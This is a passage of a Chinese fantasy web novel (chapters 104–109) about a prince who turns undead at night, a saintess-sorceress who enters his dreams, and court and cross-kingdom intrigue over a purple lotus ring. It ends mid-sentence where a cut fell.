“但她好像在北冥国犯了什么罪,如果只拿着紫莲戒回去,顶多算是将功赎罪,也不可能成为圣女,所以她希望你能带兵攻打北冥国,她只要先救了北冥国,再拿出紫莲戒,才有可能成为圣女。”游晚星只想着先离开这里,只要能出去,白锦夜就再也拿她没办法了。 “圣女?”白锦夜倒是第一次听说这个,“也就是说,有紫莲戒的人,是圣女?那你呢,她给你什么好处,你这样帮她卖命?” “她是我师父,把我养大,教我这些术法,她说这些术法都是圣女一脉单传,等她成了圣女,我就是圣女继承人。圣女在北冥国的地位仅次于北冥国国君,一人之下万人之上,谁能不能心动?” 游晚星说着乞求地看着白锦夜,“我只知道这些,我已经全告诉你了,你放过我吧。” 白锦夜轻笑了一声,“胆子这么小,这么怕死,也敢往本王身边凑?” 游晚星急得都快哭了,“圣女的地位虽然吸引我,可我也想好好活着,王爷,我再也不敢了,你放过我这一次吧。” “你对白玉衡做过什么?”白锦夜又问。 “没……没什么。”游晚星的目光有些闪烁。 “看样子,这是要本王帮你想想了?”白锦夜看着她。 第104章 地魂爽灵 被白锦夜呆着威胁的目光盯着,挣扎了良久,游晚星才低声道,“是和月如通知师父,说她每一次让皇上答应了她什么,但只要太后劝阻,皇上就作罢。皇上愚孝,师父就让我接近白玉衡,他……他经常进宫,又会给太后泡茶,我就让他给太后的茶里下了药……” “混账!”白锦夜抬手狠狠地一拍栏杆,顿了顿,才继续问道,“既然你是裴姝的徒弟,应该不是游晚星本人吧?” 游晚星点点头,“游建章前年来京中述职,觉得皇上被和月如迷惑,上书请皇上远离她,他言辞激烈,甚至打算找其他几位大臣联名上书。没办法,只能……只能……” “所以游建章的罪名,是你们故意安排的?”白锦夜帮她把剩下的话说完。 “是。”游晚星承认了下来,“游家人被流放后,原来的游晚星降入奴籍后不久就死了,我就替代了她的身份。” 白锦夜冷笑一声,“怎么死的?” 游晚星抿了抿唇,没有说话。 白锦夜不需要听她回答也心知肚明,“除了游建章,你们还害过其他人么?” 游晚星死死地咬了咬唇,“另外几位与他关系好的大臣……”说完这句她又赶紧补充,“本来我们也不想的,但是游建章已经提前给他们去了书信,他自己又出了事,那些人早晚会怀疑的。真的不能怪我们,只能怪游建章太多事了。” “不能怪你们?”白锦夜脸色阴沉如水,“天风国的臣子是你们这般肆意屠杀的么?你们全都该死!” 白锦夜说着举起手,可还没等有什么动作,梦境就突然戛然而止。 他睁开眼,胸中的愤懑却难以消散,当即吩咐了司空去查游建章的事。 下了早朝,白锦夜没有回府,直接去了裴清歌的店里。 想从游晚星身上知道的事情,都已经知道了。 但现在的问题是,如果他放了游晚星出来,那游晚星可能就会给同伙传信。 可一直不放游晚星出来,她的同伙也早晚会知道。 裴清歌听完白锦夜的描述,表示闻所未闻,想要知道到底怎么回事,也就只能亲自去看看。 她本想泡杯下了安睡药的茶给了白锦夜,等他睡着,入梦去看看。 但白锦夜自己说,白天做梦和晚上做梦是不一样的。 他有时白天睡着了做梦就是和以前没成冥尸的时候没什么区别,梦里的事情杂乱无章,他也不能控制。 只有晚上的时候,才会出现他说的那种情况, 于是裴清歌就让他先回去了,等晚上的时候,她才到了王府。 裴清歌先去查看了游晚星的状态。 入梦这种事,其实和离魂差不多,但只有三魂之中的地魂爽灵离体,随着入梦咒入梦。 爽灵主宰意识,能够思考、感受和记忆,所以多跟梦相关,死后爽灵就会归于地府。 游晚星现在就是爽灵没有归位而昏迷不醒。 裴清歌思索了片刻,点了一张符咒仔细地探查了一番,也没找到游晚星的爽灵在哪。 这爽灵要么在人世,要么在地府,现在哪都没有,难道真的被白锦夜困在他自己的梦里了? 但这种事,她确实没有听说过。 她皱了下眉,把梧桐院里的左辞叫了出来,一起去了九思院。 她也不知道白锦夜现在这是什么情况,也不能保证自己进去了,就一定还能出来。 她对白锦夜没有放心到一点后手不留,所以还是得提前做些准备。 她先是在床上贴了一道入梦咒,随即在白锦夜的身边画了几道法阵,又拿了一张空白的符纸,咬破手指写了一道符交给左辞,“如果明天早上,我没有自己醒过来,你就把这张符纸烧掉。” 左辞点点头,接过符纸,又看了看床上躺着一动不动的白锦夜,低声问道,“王妃,王爷这是怎么了?有好几次了,王爷一到午夜就会突然人事不知,要不是他提前有交代,属下和司空真的快被吓死了。” 裴清歌瞥了他一眼,没有回答。 左辞知道自己这是问多了,于是赶紧悄悄地退下了。 裴清歌拿了条毯子,转身走到躺椅边躺下,没一会,就顺利地进了白锦夜的梦。 这入梦咒她虽然会,但也就是在刚学会那会,跑到鬼卿和冷鸢的梦里捉弄他们,后来有一次她跑去了师父的梦里,被师父骂了一顿,说这术法不是用来给她玩的,她就再也没有用过了。 不过鬼卿和冷鸢的梦里,画面都是和正常世界没什么区别,但梦里没什么逻辑,跳跃性很强,一会在这,一会在那,上一刻还在练功,下一刻就不知道跑到哪去玩了。 可如今白锦夜的梦里,一片灰蒙蒙的,又很昏暗。 她拧着眉,垂眼看着地面,这地面像是透明的,但又看不清里面有什么。 就像是那日在马车上,她想探究白锦夜的梦的时候,隔着这么一层纱,她什么都看不见。 正想着,肩头突然被人拍了一下,裴清歌转过身,见到白锦夜已经站在她的身后了,“你来了。”他说着往自己的身后指了指,“游晚星在那,但是她现在的状态好像不太对劲。本王昨晚来的时候,她还跟本王说话,这会好像是……昏迷了。” 裴清歌看了一眼,也没急着过去,只是问,“你做这样的梦,多久了?” “自从晚上会变成冥尸后,整晚都没有任何意识,也不会做梦。变成这样,是从马车上的那日之后。”白锦夜说着脸上也带着几丝困惑,他四下看了一圈,“子时之后,就会自然来到这里,如果游晚星没来,本王就一个人在这里,一直呆到醒来。” “这里只有这样,什么都没有?”裴清歌又问。 “嗯。”白锦夜点点头,“反正也无聊,本王前几日试图沿着一个方向走,但不管走多远,都没有变化。” 裴清歌想了半响,也想不通,于是就先往游晚星的身边走。 游晚星靠着栏杆躺在那,身形已经开始有些透明。 裴清歌知道,爽灵一魂离开人体太久就会归于地府,如果去不了地府,就会慢慢消散,所以她如今的状态,就是要开始消散了。 如果爽灵彻底消散,游晚星要么再也醒不过来,或者即便醒过来,也只会变得疯疯傻傻。 她蹲在游晚星的身边,仔细地查看了一番。 白锦夜看了半响,才问,“她这是怎么了?” “我也不知道,先把她弄醒再说吧。”裴清歌说着想要从袖袋里抽出符咒,可一摸袖袋,空空如也,她愣了一下,抬眼看向白锦夜,“你做了什么?” 第105章 不能再让白锦夜活着了 白锦夜看着裴清歌,双手摊起,“本王什么都没做。” 裴清歌狐疑地看着他,站起身,“这是你的梦,你能控制,你把我袖袋里的符咒都弄没了,现在把它们还给我。” “本王没有。”白锦夜有些茫然地摇头,“本王真的什么都没做,也什么都没控制。” 对峙了半响,裴清歌见他的样子也不像是骗人,只能重新蹲下来,从身上撕下一条布,咬破手指,重新写符,可是刚写了几笔,布条上的血迹就消失得一干二净。 裴清歌再写,笔迹再消失。 重复了几次,裴清歌没了耐性,她抬手把布条扔开,起身往前一步,盯着白锦夜,“你到底,在干什么?”问完顿了下又补充,“当然你不一定是做了什么,这是你的梦,只要你心里一个念头,在梦里就都会实现,所以你在想什么?” 白锦夜被裴清歌盯得发毛,隔了好一会,才说,“本王刚才什么都没想,但是昨天她说了她做过的那些事,本王确实冒出过她该死的念头。” “那现在就想想,让把我她救活的事。”裴清歌说着扫了一眼游晚星,却无意间发现这地面像是在从她的身体里吸收着什么,那吸收的频率不高,所以之前她才没有发现,刚被吸收了一次,游晚星的身体又透明了些。 裴清歌拧了下眉,弯腰把游晚星的身体往旁边拽了下,仔细地看着她躺过的地面,随即神色大变! “天呐。”她震惊地看向白锦夜,“你怎么能……你怎么能……” 白锦夜怎么能在梦里打开黄泉路! 她说着后退了几步,想要从他的梦里退出去,可试了一下却失败了。 她还以为游晚星的爽灵逐渐透明,是因为离体太久在慢慢消散,现在看起来根本就不是,而是在逐渐的被吸入地府! 白锦夜皱眉看着裴清歌,隔了会才问,“本王怎么了?” 裴清歌没有回答白锦夜这个问题,这人世间通往地府有两条路,一条是冥路,一条是黄泉路。 冥路更多的就像是开了个后门,有很多非正常死亡的人的魂魄没办法自己进入地府,地府也不会主动接收他们,所以有些术法的人,可以用路引的方式,短暂地打开冥路,让这些魂魄去地府。 而黄泉路,就是鬼门关之后的路,任何魂魄,包括活人,只要过了鬼门关,就都可以走。并且术法再高的人,都不可能把黄泉路引出鬼门关之外。 因为这条路,可以说有去无回。 入梦本来就是爽灵这一地魂入梦,地魂在人死后归于地府,白锦夜开了黄泉路,爽灵上了黄泉路本身就是一种伤害,即便回到人体,也会越来遇弱。 所以游晚星因为最近经常入白锦夜的梦,估计爽灵本来就已经很虚弱了,又被困在这里两天,她的爽灵已经在逐渐进入地府,再也不可能回到身体里了。 裴清歌眸中的震惊久久不能平静,显然白锦夜现在还不知道这是怎么回事,也不知道他的梦能无形之中把人困住。 之前游晚星大概是整晚呆在白锦夜的梦里,白锦夜早上醒了,她也就自然离开了,所以一直也没发现什么异常。 她的手在袖子里微微握成拳,如果白锦夜什么都不知道,那就最好永远都不要知道! 隔了好一会,裴清歌才开了口,“我大概知道怎么回事了,我先回去,等你醒来再说。” 白锦夜点了点头,“好,那明日再说。” 他说完这句话,裴清歌又尝试了一次,这一次才成功地离开了白锦夜的梦境。 * 裴清歌睁开眼睛,从躺椅上坐起来,目光落在白锦夜的身上,眸里闪过几丝凉意,然后迅速的起了身往外走。 左辞见她出来,连叫了她两声,没听到她回应,就赶紧跟上去。 可裴清歌的步伐极快,出了门甚至用了轻功,左辞没跟多远,就彻底地跟不上了。 他站在原地,看着裴清歌消失的方向,低声喃喃,“王妃的武功,真的这么高了么?” 裴清歌回了店里,直接去了鬼卿的房间。 鬼卿知道她回了王府,也没想到她这么快会回来。 “鬼卿,你帮我个忙。”裴清歌看着他。 如今鬼卿是她最信任的人,鬼卿也同样是冥尸,她只要去鬼卿的梦里看看,也许就能找到答案。 * 鬼卿早晨醒来的时候,就见到裴清歌坐在椅子上发呆。 听到动静,裴清歌也回过神来,看向鬼卿,“我好像做了一件错事。” “怎么了?”鬼卿看着她。 “我好像,制造了一个怪物。”裴清歌垂下眼,鬼卿是没有梦的,就像她一直以来知道的那样,冥尸是不会做梦的。 而如今,白锦夜不仅能做梦,还能在梦里打开黄泉路。 她不该把他变成冥尸,也不该……明知道游晚星贴了入梦咒,却以为冥尸不会做梦而没有理会。 那道入梦咒就像是催化剂,直接帮白锦夜打开了黄泉路的门。 “不能再让白锦夜活着了。”裴清歌的手死死地握成拳头,指甲都快陷入掌心,“他现在只能在梦里打开黄泉路,而我们甚至都不知道这到底是怎么回事,如果他在梦境中的实力逐渐强大,把黄泉路投射到现实中,那就不知道要死多少人了。” 鬼卿张了张嘴,想说什么,但犹豫了下,还是把嘴边的话咽了回去。 裴清歌思索了片刻,继续道,“等把裴姝引来,一起解决他和裴姝的事,然后我们就赶紧回北冥国。” “可是,师父……”鬼卿刚要说师父不是不想让她回去么,可又想起这件事是白锦夜跟他说的,于是后半句又咽了回去。 裴清歌微微垂眸,“师父可能有师父的安排,但我实在有太多的疑问了,暂时找不到师父,但也许圣殿里会有答案。” 鬼卿思索了片刻,“你需要,什么,我去拿来。” 裴清歌摇了摇头,“我和师父陆续失踪,你现在也离开了圣殿,其他人必定有所怀疑,如果你回去,一定会被人盯上。而且现在裴姝随时都可能会来,我也需要你留下帮忙。” 鬼卿只好点点头,垂下眼,掩去眼底的顾虑。 “现在就得开始准备了。”裴清歌转头看向窗外,低声自言自语道。 第106章 卦祖 为了防止裴姝那边发现异常,裴清歌把游晚星剩下的二魂七魄也暂时禁锢了起来,然后把荷香的魂魄塞到了游晚星的身体里。 荷香办事大多时候都还靠谱,只不过自从占了游晚星的身体之后,总是会去找周婆子的麻烦,但好在都是小打小闹,裴清歌也就由着她胡闹了。 她在店门口贴了张“东主有事”的告贴,然后就开始在盛京城里到处跑。 半个月下来,总算是在盛京城内布下了一个巨大的法阵。 而裴姝也不负所望,真的来了盛京。 她如今毕竟是一国之后,原则上是不能轻易离国的,所以是隐匿身份偷偷来了天风国。 她来了之后,先在衡王府落了脚,陆绝说她是自己师父的同门,立刻被白玉衡奉为上宾。 裴姝也没急着去找白锦夜,反倒是让陆绝陪着她在京城四处转着,自然也就听说了普宁街上有人算卦捉鬼的事,于是就带着陆绝去了普宁街。 裴姝本来不认为天风国会有什么能人异士,但到了普宁街,隔着远远的,她就停下了脚步,“这人是谁?” “是肃亲王府总管的表弟。”陆绝开口道,“说前两年遇到个高人,受过指点。” “这可不仅仅是指点那么简单。”裴姝眯了眯眼,“这块地是阴财地,若是别的店开在这是那算是倒了霉,但是他把店开在这,一定是特意选的。” “哦?”陆绝挑了下眉头,“阴财地?是什么?” “但凡人世烧的纸钱,有主之钱被拿走,但是无主之财都会汇聚到阴财地,那些没人供奉的孤魂野鬼就会来这里抢钱。” “烧纸的方式不对,地下的亲人就拿不到这钱财,又或者已经去投胎,或者早就魂飞魄散的,这些钱财就叫无主之财,你想想,这每年烧掉的纸钱里,是有主之钱多,还是无主之财多?”裴姝开口道。 “这样说的话,那确实是无主之财更多。”陆绝道,“可若是所有的孤魂野鬼都在这抢钱,那不也是对活人不利?” “所以他改了这里的风水,设了阵法。”裴姝脸上闪过一丝凝重,“他把所有的无主之财全都收了起来,又遣了鬼来派发,孤魂野鬼不能再抢钱,为了拿到钱,还要帮他办事。” “本来就是个弱肉强食的世界,他这样一来,就变得公平很多,那些本来抢不到钱的鬼对他心存感恩。” “那些本来就强大的呢?”陆绝问,“他们本来能拿到更多的钱,现在被这样平均分配,他们岂不是拿到得少了?” “本来就强大的,也能帮他做更多的事,拿到的相对也会多些,况且谁能保证自己就一直是最强大的?”裴姝说着顿了顿,“而且对于这些孤魂野鬼来说,拿钱不是最重要的,最重要的是能入轮回,他大概也给了他们这样的许诺。” 这人不知道是什么来历,若是能收为己用,那就太好了。 裴姝想着继续往前走,“走,我们去探探他。” * 裴清歌布完阵法之后,就又回到了普宁街算卦。 裴姝来盛京的时候,她其实就知道了,但并没有急着去找她,她知道,只要裴姝听说有人在这里算卦的事,就一定会来。 这几日她直接让鬼卿回了王府去住,就让裴姝觉得鬼卿是在王府等着白锦夜拿出紫莲戒好了。 裴清歌随意地扫了一眼裴姝和陆绝走过来的方向,便收回目光继续解释面前的卦象。 两个人走近了之后,也没有说话,裴姝认真地看着桌上的卦象,等算卦的人走了,她才开了口,“这位不知道怎么称呼?” 裴清歌没有回答,只是说,“算卦要排队。” 这会倒是也没有几个在等着的客人,裴姝看了看,转身走到一边坐下了。 在裴姝之后,便再没有人来算卦了。 所以约摸着过了半个时辰,裴姝就重新坐在了裴清歌的面前。 “你算卦的卦金是多少?”裴姝开口问道。 裴清歌手里把玩着铜板,“别人十文钱,你要是算的话,至少十两银子。” “为何?”裴姝眯着眼,这人蒙着面纱,可无论她用什么办法,都没能看清她面纱之下的面容。 “因为你在我店门口设了幻象,有来算卦的人,都以为店门关着。你影响了我的生意,不该多付点钱么?”裴清歌轻笑道。 裴姝点点头,“能看出我的幻象,不错……”她像是来了兴致,“那不如给我算一卦吧。”她说着向裴清歌伸出手,示意把铜板给她。 裴清歌却并没有递出铜板,而是把铜板握在了手心,“可惜,我现在已经没了算卦的兴致了。” “不算也无妨。”裴姝从袖袋里掏出一锭金子放在桌上推到裴清歌的面前,“那就随便聊聊,不知道你这算卦的本事是跟谁学的?” 裴清歌笑着看着她,“无可奉告。” 裴姝也不恼,只是说,“依我看,你这算卦的本事还差些火候,我倒是可以再指点你一二。” “哦?”裴清歌挑了挑眉,“说说看。” “你让人用竹筒摇卦,从这一开始就注定了卦象也许只有九成灵验。算卦最早来源于占卜,而占卜最早是用龟壳,后世经过演变,才成了现在这样子。”裴姝看着裴清歌慢慢地道。 “千年前,卦祖用神龟壳摇卦,摇出的卦象无一不准。卦祖离世后,神龟壳就随着他一起陪葬了,不过卦祖有个徒弟,起了贪念,后来去盗了卦祖的坟,把神龟壳拿了出来,它得以再次现世。” “如今这神龟壳依旧存于世上,我想如果有这样东西,你也就相当于承了卦祖衣钵,这世上便没有你算不出来的卦了。” 裴清歌看着裴姝,之前听着游晚星他们的对话,就知道裴姝喜欢画饼,没想到这刚一见面,她就开始给她画饼了,“这种神物,又岂是我等凡夫俗子能得到的?” “我知道它在哪。”裴姝继续道,“只要你想,我就可以帮你拿到它。” 第107章 苍生不过是他登仙路的垫脚石 裴清歌垂下眼,像是在思考。 神龟壳就在圣殿,圣女算卦一律都用神龟壳摇卦,裴姝显然是想要拉拢她了。 半响,她才重新抬眼,“算卦本已经是泄露天机,准了九成就已经足够了,没必要十成十的准,况且这种神物到了我手上,必然也会惹来其他人的觊觎,我看还是算了。” 裴姝微微皱了下眉头,像是没想到这么大的诱惑,裴清歌竟然不心动,但也没有勉强,而是站起身,“你多考虑一下,过几日我再来。” 裴清歌目送着裴姝离开,没一会,桌上便凭空出现一封信和一张地图。 裴姝对自己的术法倒是自信,明知道这里是被她改动过的阴财地还敢进来。 她收回目光,展开地图,地图已经有些发黄了,是从北冥国出来到月城的那条路。 看样子裴姝把这条路已经熟记于心,但也还是不敢在鬼王沙漠里托大,依旧认认真真地把这条路给画了出来,又随身携带。 放下地图,她展开那封信,神色一下子就凝重起来。 这信,竟然是从北冥国寄出的! 从这信上的内容来看,是裴姝向对方打探了北冥国如今国内的情况,问对方自己的行踪是不是暴露,以及核实北冥国是不是已经炼制出了高阶肉尸,还有……是不是派了一个高阶肉尸出来找紫莲戒,并且已经基本确定紫莲戒在天风国。 信上详细地说了如今北冥国两任圣女接连失踪,他也不清楚她的身份是不是暴露,他只是知道,现任圣女离开圣殿,确实是为了找人,至于找的是不是她,那他就不得而知了。 他还说,圣女确实炼制出了冥尸,冥尸如今就在天风国寻找紫莲戒,据说已经有了消息,但具体消息如何,只有圣殿的人知道。 裴清歌捏着信纸,裴姝在北冥国竟然有内应! 只是这内应,看着也不是完全在帮裴姝,倒像是……在诱导她来天风国。 看来裴姝之所以能下定决心前来,并不主要是自己设的局,而是因为这封信。 因为这封信的内容,裴姝才完全相信,才会成行。 不然恐怕起码还要再拖些日子。 裴清歌微微眯起眼,裴姝的内应,会是谁呢? 她把信和地图收好,遣了个鬼送回去。 走在路上的裴姝突然被人撞了一下,她皱了下眉,顿了顿,下意识地去摸怀里的地图,发现地图还在,便也没有在意。 * 裴清歌并不知道,写这封信的人,此刻正在北冥国的刑崖受刑。 “你给她的回信到底写了什么?!”楚云颂站在楚星玄的对面,涨红着脸咆哮。 一条铁圈禁锢住楚星玄的腰,手腕和脚踝都被铁钉钉在刑崖的崖壁上,血顺着伤口流出来,慢慢的在他的脚下汇聚。 楚星玄看着自己的亲爹反问道,“那她到底是什么人?她为什么跟你有书信往来?你们这样互通书信又有多久了?你为什么要背叛北冥国?这个西夜国的人这么担心她的身份暴露,她原来就是北冥国的人吧?她是怎么跑出去的?十五年前的‘围北之战’是不是她策划的?跟你有没有关系?” “混账!现在是我问你,不是你问我!”楚云颂一耳光扇过去,“你这个逆子!” “圣女失踪之后,你已经是国君最依仗的人,你还想要什么?你为什么要这样帮她?如果不是你,十五年前她应该不能打到北冥国吧?是你给了蛮天一族错误的指使,让蛮天一族几乎死伤殆尽。如果十五年前不是圣女出面,北冥国就要被打到皇城下了,你……你要造反么?”楚星玄继续问道,“你想把国君取而代之么?” “呵。”楚云颂嗤笑了一声,“取而代之?那位置有什么好的?那位置就不该坐人!北冥国就不该存在!” 楚星玄怔了一下,“你什么意思?” “你以为北冥国国君真的抱德炀和,抚慰苍生?”楚云颂说着转身看着楚星玄,“这苍生在他眼里,不过都是他登仙路上的垫脚石!” “不。”楚星玄摇了摇头,并不相信他的话。 “你有没有想过,为什么每一任圣女,年纪尚轻就会选出下一任圣女,新的圣女接任后,原来的圣女去哪了?死了么?”楚云颂冷笑一声,“为什么圣女失踪之后,国君如此着急?” “为什么?”楚星玄皱眉问道。 “因为每一任国君,都活不过二十二岁,可他们却妄图长生不死!妄图成仙!哈哈哈!”楚云颂嘲讽地大笑出声。 “他们靠圣女帮他们续命,帮他们改命,他们编造了那么多故事,编造了无比美好的未来,从那些圣女很小的时候就开始控制她们,让她们生不出一丝反抗之心,让她们觉得为国君而死、为北冥国献身是至高无上的荣耀!” “圣女,就是国君的傀儡!” 楚星玄怔愣了半响,“国君今年就是二十二岁了。” “是啊。”楚云颂脸上的笑容更盛,“偏偏赶上两任圣女都失踪了,只要年底之前这两个圣女都不回来,国君就死定了,他尚无子嗣,皇室后继无人,北冥国的历史就该结束了!” “所以你一直努力的找圣女,是想在国君之前找到圣女,然后除掉么?”楚星玄又问,“可既然你知道只要等到年底,国君就会死,为什么还要再谋划一次‘围北之战’?” 楚云颂叹了口气,这一次却没有回答。 那裴姝也是圣女传人,另外两个圣女找不到,她自然也是国君的后备之选。 十五年前的那次“围北之战”,本来以为裴姝碰上她师父,不会落下什么好处,没想到裴姝竟能全身而退! 但这一次,他已经设下了天罗地网,只要裴姝来,就一定会死在北冥国! 半响,他才又问,“所以你到底在回信里写了什么?为什么她会问紫莲戒是不是在天风国?”问了这句,楚云颂的眸光震了震,想到了什么,“难道……圣女在天风国?” 第108章 你还是解释一下,她为什么在你府上吧 楚星玄微微抿了抿唇,他确实是故意把那个写信的人引到天风国,他知道裴清歌在那,现在鬼卿也去了,一般的人都不会是他们的对手。 而裴清歌也明知道十五年前的“围北之战”由西夜国引起,只要那个人去了,她就不会放过她。 所以他故意把她引到天风国去送死。 楚星玄虽然没有说话,楚云颂因为太了解这个儿子,所以已经从他的表情上得到了答案,他轻笑了一声,“也好,也好,圣女见到裴姝,也不会放过她就是了。” “爹。”见楚云颂要走,楚星玄赶紧叫住他。 楚云颂的脚步顿了顿,“你就暂时呆在刑崖吧,若是事成,我自然会放了你,若是事败,你说不定还能留一命。” “爹,你放了我。”楚星玄看着他,顿了下又补充,“这千百年来,不可能一直没有人发现国君的事情,但是这么多年过去了,国君一脉依然岿然不动,必然有护身的本事,你放了我,我来帮你。” 楚云颂转头看了他一眼,“我是你爹,我会不知道你那点花花肠子,就在这呆着吧。”说完再也没有停留,迈步就走了。 楚星玄用力地挣扎了一下,换来的也不过是伤口被撕裂得更加严重。 这刑崖归暗城来管,罪大恶极的犯人才会被送来刑崖受刑,而且送犯人来刑崖,也要经过楚云颂,所以只要他不松口,说不定几十年都不会有人来刑崖一趟。 他在这里,可真是叫天天不应,叫地地不灵了。 蓦地,他眉头微微挑了一下,想起了什么。 * 裴清歌吃晚饭的时候,感觉到袖袋里有东西在动。 拿出来才发现是楚星玄的命蛊。 碧血虫在碧血石里不断的翻腾,闹得碧血石也跟着震动。 裴清歌看着玉佩里的碧血石,“你这样子,是你的主子出事了?” 碧血虫当然不会回答她的话,却闹腾得更加欢实。 裴清歌叹了口气,“那也没办法,我现在有事走不开,等我把这些事解决完,就回北冥国了,到时候送你去跟他团圆。不过……他现在在北冥国,在他爹身边,他爹不会看着他死的,别担心了。” 说完她抬手在碧血石上抹了一下,碧血虫安静了下来。 裴清歌收起碧血石,微微眯了眯眼,楚星玄在北冥国,几乎可以横着走,他若是出事,那事情就一定是很棘手了。 他如果出了事,那也不知道冷鸢现在怎么样了。 不过……事情总得一件一件来,先把眼下的事解决好吧。 * 入夜,裴姝一个人到了肃亲王府。 白锦夜看着能进了他的院子,但是完全不被任何人发现的女人,微微眯了眯眼,“你深夜不请自来,不知道有何指教?” “肃亲王,我不与你废话,我知道紫莲戒在你手上,你现在可以选择主动交出来,或者……被迫交出来。”裴姝看着他,她知道鬼卿在,所以只能速战速决。 白锦夜放下手里的书,打量了眼裴姝,“这么说……你就是裴姝了?” 裴姝怔了下,她倒是没认为游晚星或者其他人会暴露她的存在,正想着可能是鬼卿和白锦夜说了什么,“既然知道我是谁,就识相些,我想你之前应该也尝过被人控制的滋味,不过那些都是小打小闹,他们那点能力,连皮毛都算不上。” 白锦夜轻笑一声,“难道没有人告诉你,紫莲戒本王已经给了和贵妃么?你的好女儿,没有把你们这家传之物交给你么?” 裴姝皱起眉头,“你已经给她了?” “怎么,你进京之后,没去看看和贵妃么?”白锦夜反问道。 裴姝微微沉默了片刻,“好,我这就去向她求证,如果没有,你就……” 她的话还没说完,外面突然传来整齐划一的步伐声,整个院子也瞬间被火把照亮。 裴姝冷笑一声,“你以为这种陷阱能抓住我?” 白锦夜没说话,而是推开窗向外面看去,他根本不知道裴姝已经来了,更不可能设下什么陷阱。 外面的人很开就包围了九思院,司空也早就被人控制。 带头的是卫戍大营的指挥使梅训庭,“肃亲王,我接到密报,说你密会他国暗使,烦请立刻出来,不然我就只能进去请你了。” 白锦夜收回目光,看向裴姝,“还不走?” 裴姝四下看了眼,也只能跃上房顶离开,只不过她刚上了房顶,突然背后被人打了一掌,她没有防备,直直地落进了院子里。 她转头去看,便见鬼卿看了她一眼,随即迅速的离开了。 她知道鬼卿在王府,所以自从她进了王府开始,就一直锁定着他的气息,他明明一直在王府的东北角,完全没有动过! 所以他是什么时候来的? 裴姝心里微颤,她一直以为他不过就是肉尸的进阶,没想到他竟然能藏匿自己的气息? 梅训庭看了眼房顶上远去的人影,也没有去追,毕竟眼前这个人是要逃走的,所以定然是密报里的他国暗使了,他又向房间里看去,“王爷,人赃并获,还不出来么?” 白锦夜微微眯了眯眼,这才不紧不慢地从房间里走出来,“这人深夜来访,本王也不认识。” “不认识么?”白砺寒和白玉衡从侍卫们的身后走出来,“皇弟,朕真的没想到,你会做这种事。” “你不认识,为兄倒是可以给你介绍介绍。这位,据说是陆绝师父的同门,这几日都由陆绝陪同,在京中闲逛。而这京中的人可都知道,陆绝跟了你三年,是你的心腹。”白玉衡开口道,“若是本王没有认错,这怕不是什么陆绝师父的同门,而是西夜国皇后吧?” “皇后不远千里,来我天风国所为何事呢?” “本王早就怀疑,十五年前,西夜国提议发起的‘围北之战’有猫腻,当年‘围北之战’天风国的将领是皇弟你的外公,那一战我国损失惨重,直接导致月城和幽州混乱多年,任何人都难以收服,直到皇弟你去了,幽州和月城一下子就老老实实的,这不会是你们早就密谋好的吧?” “会不会当年的大军根本就没有死,只是被藏起来了,如今就在月城,等着随时拥你为王?再说张家的人怎么就那么巧全都暴毙,说不定是诈死换了身份去月城帮你铺路。” “你在信口开河的胡说什么?”白锦夜拧眉看着白玉衡。 “我是不是胡说,你交了虎符,让皇兄派人去月城彻查一番,不就清楚了么?”白玉衡继续道。 白砺寒摆了摆手,“衡王,这些事不急。八皇弟,你还是解释一下,为什么西夜国皇后会深夜来你府上吧。” 第109章 是她! 白锦夜扫了裴姝一眼,自从他回京之后,王府的戒备森严,所有的守卫都是他从军中带回来、在沙场历练过的亲兵。 况且朝中的动向也一直都在他的掌握之中。 白砺寒和白玉衡一丝一毫都不惊动他,就能控制他的王府,要说这里面没有猫腻,他是不信的。 裴姝从地上站起来,区区普通的侍卫,她本是不放在眼里的。 可是不知道刚才鬼卿打她的那一掌用了什么暗着,此刻她催动法术,不仅没办法遣鬼,甚至她炼制的傀儡都跟她失去了联系。 裴姝暂时想不通,但她现在能确认的,就是这个白玉衡绝对有问题。 她微微眯了眯眼,打算拉他下水,“衡王,这几日我不是都在你府上住着,你一直待我如上宾,今日怎么突然刀刃相向?” 白玉衡轻笑一声,“本王早就向皇上禀明,陆绝和肃亲王向来交好,怎么就突然离开了王府。好巧不巧,那几天本王府上的人就开始上吐下泻,府医和太医都束手无策,陆绝一出手,所有人就好了,若不是有人故意为之,这世上哪有那么巧的事?” “陆绝既然找上本王,那本王何不将计就计?没想到就把你给等来了。本王实在想不通你来做什么,于是就假装相信陆绝的话,等等看你们到底要干什么,果然……” 他说着看向白锦夜,“八皇弟,看样子你是怕事情败露,所以提前安排,这样即便被发现,你也可以推到我身上,要不是我警醒,现在恐怕被抓的人,就是我了。” 裴姝皱起眉头,按照游晚星所说,白玉衡应该已经完全被控制了,怎么可能还会将计就计的演戏给她看? 除非…… 裴姝的心里微微一颤,这一直以来就都是个陷阱。 白玉衡从来没有被控制,这就是他们天风国国内的腌臜事,是他们想要白锦夜手上的兵权,而她只不过成了这件事的导火索! “你们自己国内的事情要怎么样,别掺和上我,既然知道我是西夜国皇后,现在放我走,我保证会把今天的事情翻过去,绝不影响两国的邦交。” 裴姝说着沉了沉声,“若是我在这里有个三长两短,那你们要迎接的,就是西夜国的大军了。” “皇后放心。”白砺寒看向她,“朕也只是请你进宫去坐坐,毕竟你和和贵妃分别已久,母女之间也该有些体己话要说。等肃亲王把这件事解释清楚,朕就会亲自修书给西夜国国君,到时候如何裁决,自然是西夜国国君来做决定。” 裴姝听了这句话,便没有再开口了,等进了宫,她见到和月如,就知道紫莲戒是不是在她手上了。 如果顺利的话,她拿到紫莲戒,直接走人就是了,这天风国的一切,跟她一点关系都没有。 白锦夜眯眸看着面前的人,他如果不跟着白砺寒他们走,这事可能还有转机,可一旦跟他们走了,到时候事情无论如何就都说不清了。 白砺寒本就对虎符虎视眈眈,这么好的机会,他是绝对不会放过的。 只是……他抬头看了看月色,也马上就子时了。 等子时一到…… 他这个念头还没想完,蓦地整个人就失去了意识。 白砺寒看着站在那一句话不说也一动不动的白锦夜,心里多少有些没底,但事情已经到了这份上,他也不能后退,于是轻咳一声开了口,“皇弟,走吧,调查之后,此事若真的与你无关,朕自然会还你一个清白。” 他这话说完,白锦夜依旧没动。 倒是裴姝的脸色骤变,她警惕地盯着白锦夜,向旁边退了几步,喃喃地道,“怎么会……”但这几个字说完,她就没有再说话了。 白锦夜竟然也是和鬼卿一样的高阶肉尸! 他这一变身,今晚鹿死谁手就未可知了。 裴姝的手在袖子里握了握,她可不想管白锦夜这是什么情况,反正等会趁乱,她正好离开。 下一刻,白锦夜就抽出腰间的软剑。 “肃亲王,你要干什么?”梅训庭高呼了一声,“你不束手就擒,还妄图反抗么?来人,快护驾,拿下这个逆……” 